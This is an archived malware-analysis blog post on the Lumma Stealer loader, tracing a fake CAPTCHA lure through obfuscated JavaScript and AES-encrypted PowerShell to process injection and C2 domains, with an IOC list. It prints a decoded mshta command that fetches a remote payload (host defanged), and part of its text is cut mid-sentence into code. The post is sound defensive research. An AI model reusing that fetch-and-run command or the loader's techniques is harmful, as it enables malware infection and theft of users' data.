Dissecting Lumma Malware: Analyzing the Fake CAPTCHA and
Obfuscation Techniques - Part 2
By Tonmoy Jitu
Published: 2024-09-08 · Archived: 2026-04-05 17:21:27 UTC
In Part 1 of our series on Lumma Stealer, we explored the initial attack vector through a fake CAPTCHA page. We
observed how the malware deceives users into downloading and executing malicious payloads. In this second
series, we delve deeper into the technical details of the Lumma Stealer’s loader, focusing on its obfuscation
techniques and how it ultimately executes its payload. This analysis will cover how we decode obfuscated
JavaScript and PowerShell code, and how we identify and analyze the malicious activities carried out by the
malware.
Retrieving and Analyzing the Lumma Loader
After the initial infection is established through the fake CAPTCHA page, we analyze the Lumma Stealer loader.
The loader is delivered via the following URL:
hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html
https://denwp.com/dissecting-lumma-malware/
Page 1 of 20
By analyzing the payload retrieved through mshta , we start by decoding an encoded Base64 string using
CyberChef:
Encoded Bas64 String:
https://denwp.com/dissecting-lumma-malware/
Page 2 of 20
bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcABvAGsAbwAuAGIALQBjAGQAbgAuAG4AZQB0AC8AcABvAGsAbwAiAA==
Decoded Base64 string:
mshta "hxxps[://]poko[.]b-cdn[.]net/poko""
Examining the 'poko' File
The poko file downloaded from the URL is analyzed using Detect It Easy (DIE) to identify its properties:
File Type: PE file
Packer: No signs of packing detected
The file, detected as a PE (Portable Executable) file, shows no signs of packing. Since mshta processes HTA
(HTML Application) files, we suspect that the downloaded binary may contain embedded JavaScript (JS) or
VBScript. We search the binary for ', data, re.DOTALL | re.IGNORECASE)
if scripts:
for i, script in enumerate(scripts, start=1):
print(f"[+] Script {i}\n{script.strip()}\n")
else:
print("[-] No Script found.")
except FileNotFoundError:
print(f"[-] File {binary_file} not found.")
except Exception as e:
print(f"[-] An error occurred: {str(e)}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python extract.py ")
sys.exit(1)
binary_file = sys.argv[1]
extract_scripts(binary_file)
Debugging the JavaScript
With the JavaScript code dumped, we now focus on deciphering the obfuscation.
First obfuscation
We can beautify the JavaScript code using an online formatter or CyberChef (Generic Code Beautify). This
reveals the obfuscated sections more clearly, showing random variable assignments and functions.
https://denwp.com/dissecting-lumma-malware/
Page 8 of 20
After beautifying the code, we observe numerous numbers being assigned to various variables. Further down, we
find a variable named PHF . This indicates that PHF holds the code passed to the second script via the eval
function.
Using console.log() , we print the PHF variable to view another layer of obfuscation.
Second Obfuscation
Beautification of the next layer of code reveals that the zsi function processes an array of numbers by
converting them into characters, which are then concatenated into a string.
https://denwp.com/dissecting-lumma-malware/
Page 9 of 20
We pass the final variables, Hkb and ZhX to console.log() to see the decoded data.
Third obfuscation
After obtaining the data, we see that it includes encoded PowerShell code. This PowerShell script processes
several values that appear to be hex data and uses wscript to execute them.
The code also shows that it uses AES encryption, with the decryption key hardcoded into it.
https://denwp.com/dissecting-lumma-malware/
Page 10 of 20
Decrypting obfuscated code using CyberChef
With the main code and the AES decryption key in hand, we can use CyberChef to decrypt it. We input the key as
hex into CyberChef and set the initialization vector (IV) value to "0000000000000000" (sixteen zeros). If no IV is
provided, it defaults to null.
The IV value is set to sixteen zeros because the AES encryption algorithm requires an IV of a specific length to
ensure secure encryption and decryption. For AES, the IV must match the block size of the algorithm, which is
128 bits or 16 bytes (16 zeros in hexadecimal representation).
Using a fixed IV, such as sixteen zeros, is common in certain situations, especially when the IV is not dynamically
generated or when the encryption is designed to be simple or demonstrative. However, in secure practices, it's
crucial to use a unique and random IV for each encryption operation to prevent predictable patterns and enhance
security. In this context, the fixed IV is used because it was hardcoded into the decryption process, which may
simplify the analysis but does not represent best practices for secure encryption.
From the CyberChef output, we obtain another PowerShell script. After beautifying the code, we can decipher its
functionality. It begins with a function that handles binary data. The EkF function extracts the zip file and saves
it to the temp directory. The QyY function obfuscates the URL by hiding characters behind numbers, and it
https://denwp.com/dissecting-lumma-malware/
Page 11 of 20
contains the URL for downloading the zip file. The nzv function deobfuscates these numbers into a string.
Finally, the YWy function manages error handling with if/else statements, checking if the file exists and
downloading the zip file if it does not.
De-obfuscating PowerShell code
Since the code is in PowerShell, we can use the write-output function to read the values stored in the variables.
We copy the nzv function, which handles the decryption of characters, and save the results to separate variables.
Running the code reveals a URL, and we also see that it uses the native Windows Net.WebClient to download
the file.
https://denwp.com/dissecting-lumma-malware/
Page 12 of 20
Downloaded zip file
We proceed by downloading and unzipping the file. Upon examining its contents, we find that it attempts to
impersonate "Aeon Timeline."
hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip
By performing static analysis with PEStudio, we gather more information about the file. The version details
indicate that the installer is masquerading as a PC Cleaner application.
https://denwp.com/dissecting-lumma-malware/
Page 13 of 20
Using DIE, we also confirm that the application has been compiled with Go Language.
Dynamic analysis
After obtaining the binary, we proceed with dynamic analysis and find that the installer triggers BitLockerToGo
upon installation.
Our earlier WireShark logs (Part 1) show that BitLockerToGo communicates with the C2 server once it starts.
Confirming this behavior, we deduce that the malicious PE file (Aeon Timeline) performs process injection,
https://denwp.com/dissecting-lumma-malware/
Page 14 of 20
injecting malicious processes into BitLockerToGo.
Dumping injected process
To dump the malicious process, we use "Hollows Hunter."
Hollows Hunter is a powerful tool used for detecting and analyzing process injection techniques in Windows
environments. It specializes in identifying processes that have been injected with malicious code or exhibit
suspicious behavior. By scanning running processes, Hollows Hunter can pinpoint injected code and dump it for
further analysis. This tool is particularly valuable for uncovering sophisticated malware that hides its presence by
injecting into legitimate processes. It provides security analysts with critical insights into malicious activities,
helping them to understand and mitigate threats more effectively.
We first use Process Explorer to identify the Process ID (PID) of BitLockerToGo and pass it as a parameter to
Hollows Hunter. The tool then detects the suspicious process and dumps the file.
Lumma C2
After dumping the file, we upload it to VirusTotal, where it is confirmed as Lumma Stealer.
Analyzing the file dumped by Hollows Hunter in DIE reveals that it is a Microsoft Linker file, with no signs of
any packer being used.
https://denwp.com/dissecting-lumma-malware/
Page 15 of 20
As is customary with binary analysis, we search for hardcoded domains within the file. Noting that Lumma
Stealer has recently been associated with '.shop.' domains, we use this as a filter and find a match.
futureddospzmvq[.]shop
We can also use Ghidra's search function to pinpoint the exact function that calls the C2 domain.
Summary
https://denwp.com/dissecting-lumma-malware/
Page 16 of 20
In this analysis, we thoroughly examined the Lumma Stealer malware's loader and payload, uncovering its
intricate obfuscation techniques and malicious activities. By dissecting the initial infection vector through a fake
CAPTCHA page and following the trail to the embedded PowerShell scripts, we detailed the steps involved in
decoding the obfuscated code and understanding its functionality. Our dynamic analysis revealed that the
malware, masquerading as a legitimate application, performs process injection to carry out its malicious
operations.
Through tools like CyberChef, DIE, and Ghidra, we were able to decrypt, analyze, and identify the core
components of the Lumma Stealer. Our findings confirm its operation and provide insights into its behavior and
persistence mechanisms. This comprehensive investigation highlights the sophistication of modern malware and
underscores the importance of detailed analysis to uncover and understand these threats.
IOC
File Hash
SHA256: fe236cf05365f3fafd7fdf2481cee9b9a5ff087e1ddc5b71fea1bb23b0c306db -> Injected Process
SHA256: fbef3b6316cd8cf77978c8eac780fe471654c0b5dbbc812e4e266475bde39dcc -> 0Aeon Timeline.exe
===================================================
URL:
hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html
hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip
===================================================
C2:
bassizcellskz[.]shop
celebratioopz[.]shop
complaintsipzzx[.]shop
deallerospfosu[.]shop
futureddospzmvq[.]shop -> Found inside the binary
languagedscie[.]shop
mennyudosirso[.]shop
quialitsuzoxm[.]shop
writerospzm[.]shop
Reference:
How to pick an appropriate IV (Initialization Vector) for AES/CTR/NoPadding?
I would like to encrypt the cookies that are written by a webapp and I would like to keep the size of
the cookies to minimum, hence the reason I picked AES/CTR/NoPadding. What would you
recommend…
https://denwp.com/dissecting-lumma-malware/
Page 17 of 20
Stack OverflowDrew
GitHub - hasherezade/hollows_hunter: Scans all running processes. Recognizes and dumps a variety
of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).
Scans all running processes. Recognizes and dumps a variety of potentially malicious implants
(replaced/implanted PEs, shellcodes, hooks, in-memory patches). - hasherezade/hollows_hunter
https://denwp.com/dissecting-lumma-malware/
Page 18 of 20
GitHubhasherezade
https://denwp.com/dissecting-lumma-malware/
Page 19 of 20
Source: https://denwp.com/dissecting-lumma-malware/
https://denwp.com/dissecting-lumma-malware/
Page 20 of 20
https://denwp.com/dissecting-lumma-malware/
By filtering for